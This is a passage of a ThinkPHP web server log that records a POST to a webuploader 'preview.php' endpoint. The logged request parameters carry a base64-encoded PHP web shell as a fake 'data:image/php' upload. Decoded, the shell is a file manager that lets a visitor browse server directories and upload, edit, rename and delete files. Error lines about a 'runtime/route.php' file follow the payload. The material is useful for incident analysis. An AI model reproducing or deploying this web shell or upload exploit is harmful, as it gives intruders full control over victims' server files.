DQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.5', 'server' => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:06:50+08:00 ] 119.42.146.234 POST 59.110.137.245/public/js/webuploader/0.1.5/server/preview.php [运行时间:0.002856s] [吞吐率:350.14req/s] [内存消耗:196.79kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'js', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaW